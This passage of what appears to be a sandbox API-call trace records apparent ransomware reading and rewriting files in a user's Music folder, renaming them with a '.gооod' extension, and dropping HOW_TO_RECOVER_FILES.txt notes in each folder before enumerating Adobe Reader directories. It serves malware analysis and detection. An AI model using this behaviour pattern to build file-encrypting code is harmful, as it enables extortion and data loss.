-RVSY6u.m4a", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a", lpFilePart=0x0) returned 0x53 [0226.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0226.827] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\zrj7u6 -rvsy6u.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0226.827] GetFileType (hFile=0x85c) returned 0x1 [0226.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0226.827] GetFileType (hFile=0x85c) returned 0x1 [0226.827] ReadFile (in: hFile=0x85c, lpBuffer=0x36ceb60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eb898, lpOverlapped=0x0 | out: lpBuffer=0x36ceb60*, lpNumberOfBytesRead=0x202eb898*=0x1000, lpOverlapped=0x0) returned 1 [0227.259] CloseHandle (hObject=0x85c) returned 1 [0227.259] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a", lpFilePart=0x0) returned 0x53 [0227.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0227.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\zrj7u6 -rvsy6u.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0227.259] GetFileType (hFile=0x85c) returned 0x1 [0227.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0227.259] GetFileType (hFile=0x85c) returned 0x1 [0227.259] WriteFile (in: hFile=0x85c, lpBuffer=0x368e8f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202eb948, lpOverlapped=0x0 | out: lpBuffer=0x368e8f8*, lpNumberOfBytesWritten=0x202eb948*=0x1010, lpOverlapped=0x0) returned 1 [0227.814] CloseHandle (hObject=0x85c) returned 1 [0227.847] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a", lpFilePart=0x0) returned 0x53 [0227.847] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a.gоod", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a.gоod", lpFilePart=0x0) returned 0x58 [0227.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb880) returned 1 [0227.848] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\zrj7u6 -rvsy6u.m4a"), fInfoLevelId=0x0, lpFileInformation=0x202eb960 | out: lpFileInformation=0x202eb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca26270, ftCreationTime.dwHighDateTime=0x1d4ca74, ftLastAccessTime.dwLowDateTime=0x87727100, ftLastAccessTime.dwHighDateTime=0x1d4ce40, ftLastWriteTime.dwLowDateTime=0x84052f66, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5936)) returned 1 [0227.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb840) returned 1 [0227.848] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\zrj7u6 -rvsy6u.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\zrj7u6 -rvsy6u.m4a.gоod")) returned 1 [0227.848] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202eb560, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x59 [0227.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eba80) returned 1 [0227.848] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0227.850] GetFileType (hFile=0x85c) returned 0x1 [0227.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb9f0) returned 1 [0227.850] GetFileType (hFile=0x85c) returned 0x1 [0227.851] WriteFile (in: hFile=0x85c, lpBuffer=0x3a93a88*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ebb48, lpOverlapped=0x0 | out: lpBuffer=0x3a93a88*, lpNumberOfBytesWritten=0x202ebb48*=0x5d0, lpOverlapped=0x0) returned 1 [0227.852] CloseHandle (hObject=0x85c) returned 1 [0227.852] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4f [0227.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0227.852] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0227.853] GetFileType (hFile=0x85c) returned 0x1 [0227.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0227.853] GetFileType (hFile=0x85c) returned 0x1 [0227.853] WriteFile (in: hFile=0x85c, lpBuffer=0x3a97310*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3a97310*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0227.854] CloseHandle (hObject=0x85c) returned 1 [0227.855] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0227.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0227.855] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0227.855] GetFileType (hFile=0x85c) returned 0x1 [0227.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0227.856] GetFileType (hFile=0x85c) returned 0x1 [0227.970] WriteFile (in: hFile=0x85c, lpBuffer=0x379b478*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x379b478*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0227.971] CloseHandle (hObject=0x85c) returned 1 [0227.971] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0227.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0227.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0227.972] GetFileType (hFile=0x85c) returned 0x1 [0227.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0227.973] GetFileType (hFile=0x85c) returned 0x1 [0227.973] WriteFile (in: hFile=0x85c, lpBuffer=0x379ec88*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x379ec88*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0227.974] CloseHandle (hObject=0x85c) returned 1 [0227.974] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2e [0227.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0227.974] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\music\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0227.975] GetFileType (hFile=0x85c) returned 0x1 [0227.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0227.975] GetFileType (hFile=0x85c) returned 0x1 [0227.975] WriteFile (in: hFile=0x85c, lpBuffer=0x37a2448*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x37a2448*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0227.976] CloseHandle (hObject=0x85c) returned 1 [0227.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0227.977] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer", lpFilePart=0x0) returned 0x6a [0227.977] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0227.978] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.978] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0227.979] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0227.979] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0227.979] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0227.979] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0227.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0227.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0227.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0227.979] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer", lpFilePart=0x0) returned 0x6a [0227.979] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0227.980] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.980] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0227.980] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0227.980] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0227.980] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.980] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0227.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0227.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0227.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0227.981] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css", lpFilePart=0x0) returned 0x6e [0227.981] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0227.982] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.982] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0227.982] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0227.982] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.983] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0227.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0227.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0227.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0227.983] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css", lpFilePart=0x0) returned 0x6e [0227.983] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0227.983] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.983] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, 